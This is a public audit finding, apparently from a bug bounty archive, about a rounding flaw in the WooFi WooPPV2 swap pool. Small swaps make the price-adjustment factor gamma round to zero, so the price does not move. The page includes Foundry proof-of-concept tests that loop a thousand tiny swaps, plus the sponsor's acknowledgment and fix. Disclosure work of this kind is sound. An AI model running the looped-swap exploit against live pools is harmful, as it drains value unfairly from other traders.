Swaps can happen without changing the price for the next trade due to gamma = 0
The WooPPV2 pool calculates a price adjustment factor (gamma) that can round down to zero for small swaps, leaving the price unchanged after each trade. An attacker could repeatedly swap small amounts to trade a significant volume without moving the price, gaining an unfair advantage.
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2024-03-woofi-swap-judging/issues/42
The protocol has acknowledged this issue.
Found by
mstpr-brainbot
Summary
When a swap happens in WoofiPool the price is updated accordingly respect to such value "gamma". However, there are some cases where the swap results to a "gamma" value of "0" which will not change the new price for the next trade.
Vulnerability Detail
This is how the quote token received and new price is calculated when given amount of base tokens are sold to the pool:
function _calcQuoteAmountSellBase(
address baseToken,
uint256 baseAmount,
IWooracleV2.State memory state
) private view returns (uint256 quoteAmount, uint256 newPrice) {
require(state.woFeasible, "WooPPV2: !ORACLE_FEASIBLE");
DecimalInfo memory decs = decimalInfo(baseToken);
// gamma = k * price * base_amount; and decimal 18
uint256 gamma;
{
uint256 notionalSwap = (baseAmount * state.price * decs.quoteDec) / decs.baseDec / decs.priceDec;
require(notionalSwap <= tokenInfos[baseToken].maxNotionalSwap, "WooPPV2: !maxNotionalValue");
gamma = (baseAmount * state.price * state.coeff) / decs.priceDec / decs.baseDec;
require(gamma <= tokenInfos[baseToken].maxGamma, "WooPPV2: !gamma");
// Formula: quoteAmount = baseAmount * oracle.price * (1 - oracle.k * baseAmount * oracle.price - oracle.spread)
quoteAmount =
(((baseAmount * state.price * decs.quoteDec) / decs.priceDec) *
(uint256(1e18) - gamma - state.spread)) /
1e18 /
decs.baseDec;
}
// newPrice = oracle.price * (1 - k * oracle.price * baseAmount)
newPrice = ((uint256(1e18) - gamma) * state.price) / 1e18;
}
Now, let's assume: DAI is quoteToken, 18 decimals tokenX is baseToken which has a price of 0.01 DAI, 18 decimals coefficient = 0.000000001 * 1e18 spread = 0.001 * 1e18 baseAmount (amount of tokenX are sold) = 1e10;
first calculate the gamma:
(baseAmount * state.price * state.coeff) / decs.priceDec / decs.baseDec;
= 1e10 * 0.01 * 1e8 * 0.000000001 * 1e18 / 1e8 / 1e18
= 0 due to round down
let's calculate the quoteAmount will be received:
quoteAmount =
(((baseAmount * state.price * decs.quoteDec) / decs.priceDec) *
(uint256(1e18) - gamma - state.spread)) /
1e18 /
decs.baseDec;
(1e10 * 0.01 * 1e8 * 1e18 / 1e8) * (1e18 - 0 - 0.01 * 1e18) / 1e18 / 1e18
= 99900000 which is not "0".
let's calculate the new price: newPrice = ((uint256(1e18) - gamma) * state.price) / 1e18; = (1e18 - 0) * 0.01 * 1e8 / 1e18 = 0.01 * 1e8 which is the same price, no price changes!
That would also means if the "gamma" is "0", then this is the best possible swap outcome. If a user does this in a for loop multiple times in a cheap network, user can trade significant amount of tokens without changing the price.
Coded PoC (values are the same as in the above textual scenario):
function test_SwapsHappenPriceIsNotUpdatedDueToRoundDown() public {
// USDC --> DAI address, mind the naming..
uint usdcAmount = 1_000_000 * 1e18;
uint wooAmount = 100_000 * 1e18;
uint wethAmount = 1_000 * 1e18;
deal(USDC, ADMIN, usdcAmount);
deal(WOO, ADMIN, wooAmount);
deal(WETH, ADMIN, wethAmount);
vm.startPrank(ADMIN);
IERC20(USDC).approve(address(pool), type(uint256).max);
IERC20(WOO).approve(address(pool), type(uint256).max);
IERC20(WETH).approve(address(pool), type(uint256).max);
pool.depositAll(USDC);
pool.depositAll(WOO);
pool.depositAll(WETH);
vm.stopPrank();
uint wooAmountForTapir = 1e10 * 1000;
vm.startPrank(TAPIR);
deal(WOO, TAPIR, wooAmountForTapir);
IERC20(USDC).approve(address(router), type(uint256).max);
IERC20(WOO).approve(address(router), type(uint256).max);
IERC20(WETH).approve(address(router), type(uint256).max);
vm.stopPrank();
// WHERE THE MAGIC HAPPENS
(uint128 price, ) = oracle.woPrice(WOO);
console.log("price", price);
uint cumulative;
for (uint i = 0; i < 1000; ++i) {
vm.prank(TAPIR);
cumulative += router.swap(WOO, USDC, wooAmountForTapir / 1000, 0, payable(TAPIR), TAPIR);
}
(uint128 newPrice, ) = oracle.woPrice(WOO);
console.log("price", price);
// price hasnt changed although there are significant amount of tokens are being traded by TAPIR
assertEq(newPrice, price);
}
Impact
As by design, the price should change after every trade irrelevant of the amount that is being traded. Also, in a cheap network the attack can be quite realistic. Hence, I'll label this as medium.
Code Snippet
Tool used
Manual Review
Recommendation
if the "gamma" is "0", then revert.
Discussion
fb-alexcq
Thanks for the feedback.
In your example, your DAI amount is 1e10, which 10^-8 usdc in notional value. With such a small amount, zero gamma looks good here. Could you please come up another test case, with a swap amount at least great than 1 usd (and with swap fee) ?
Thanks in advance.
WangSecurity
request poc
sherlock-admin3
PoC requested from @mstpr
Requests remaining: 6
WangSecurity
look at the comment above by the sponsor
mstpr
@fb-alexcq @WangSecurity It all comes down to the network cheapness and coefficient/spread values, if the network is cheap, then doing a many iterations with dust amount will lead to the situation above.
the below example has: pool.setFeeRate(WOO, 1000); uint64 private constant INITIAL_SPREAD_WOO = 0.001 * 1e18; uint64 private constant INITIAL_COEFF_WOO = 0.00000000000000001 * 1e18; uint128 private constant INITIAL_PRICE_WOO = 0.01 * 1e8;
swapping 1 WOO, 1000 times in single tx, receives 9.98 DAI in return without changing the price. If done with more iterations the impact is higher.
function test_SwapsHappenPriceIsNotUpdatedDueToRoundDown() public {
// USDC --> DAI address, mind the naming..
uint usdcAmount = 1_000_000 * 1e18;
uint wooAmount = 100_000 * 1e18;
uint wethAmount = 1_000 * 1e18;
deal(USDC, ADMIN, usdcAmount);
deal(WOO, ADMIN, wooAmount);
deal(WETH, ADMIN, wethAmount);
vm.startPrank(ADMIN);
IERC20(USDC).approve(address(pool), type(uint256).max);
IERC20(WOO).approve(address(pool), type(uint256).max);
IERC20(WETH).approve(address(pool), type(uint256).max);
pool.depositAll(USDC);
pool.depositAll(WOO);
pool.depositAll(WETH);
vm.stopPrank();
uint wooAmountForTapir = 1e18 * 1000;
vm.startPrank(TAPIR);
deal(WOO, TAPIR, wooAmountForTapir);
IERC20(USDC).approve(address(router), type(uint256).max);
IERC20(WOO).approve(address(router), type(uint256).max);
IERC20(WETH).approve(address(router), type(uint256).max);
vm.stopPrank();
// WHERE THE MAGIC HAPPENS
(uint128 price, ) = oracle.woPrice(WOO);
console.log("price", price);
uint cumulative;
for (uint i = 0; i < 1000; ++i) {
vm.prank(TAPIR);
cumulative += router.swap(WOO, USDC, wooAmountForTapir / 1000, 0, payable(TAPIR), TAPIR);
}
(uint128 newPrice, ) = oracle.woPrice(WOO);
console.log("price", price);
console.log("Cumulative", cumulative);
// price hasnt changed although there are significant amount of tokens are being traded by TAPIR
assertEq(newPrice, price);
}
fb-alexcq
For me, it still looks legit when the swap amount is so small (with such a low coef slippage), the gamma could be 0. You think about when you trade 1 dai to usdc, you probably ended up with no slippage.
But to make the judgement more rigorous, I'm double checking with our algorithm dev.
WangSecurity
@fb-alexcq have you checked with the algorithm dev?
fb-alexcq
We decided to give the credit to the Watson. And have been come up with this fix: https://github.com/woonetwork/WooPoolV2/pull/114
In engineering perspective, it's impossible to deduce a zero gamma, but we decided to take more sanity check here , w/o costing too much gas.
Banditx0x
Interesting, I saw that gamma rounding could be infavor of user but didn't think it could result in anything signficant as it would only be off by 1. Nice one
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely integer division rounding down to zero when computing the price adjustment factor (gamma) for small trade amounts.
Impact
An attacker could trade a significant amount of tokens without affecting the price, potentially gaining an unfair advantage, especially on low-cost networks.
What the attacker needed
Low transaction fees (cheap network); ability to perform many small swaps
The fix
The protocol was fixed by adding a sanity check to revert when gamma is zero, as shown in the linked pull request.
How it was found
- Set up a pool with a base token priced at 0.01 DAI, a small coefficient, and a spread.
- Execute a swap of a small amount of base tokens (e.g., 1e10 units) that causes gamma to round to zero.
- Observe that the quote amount received is non-zero but the new price remains the same as the old price.
- Repeat the swap in a loop many times to trade a larger total amount without changing the price.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In a decentralised exchange, each trade should slightly change the price to reflect supply and demand. This report shows that for very small trades, a rounding error can make the price stay exactly the same. By making many tiny trades in a loop, someone could trade a large total amount without ever affecting the price, which is unfair to other users.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.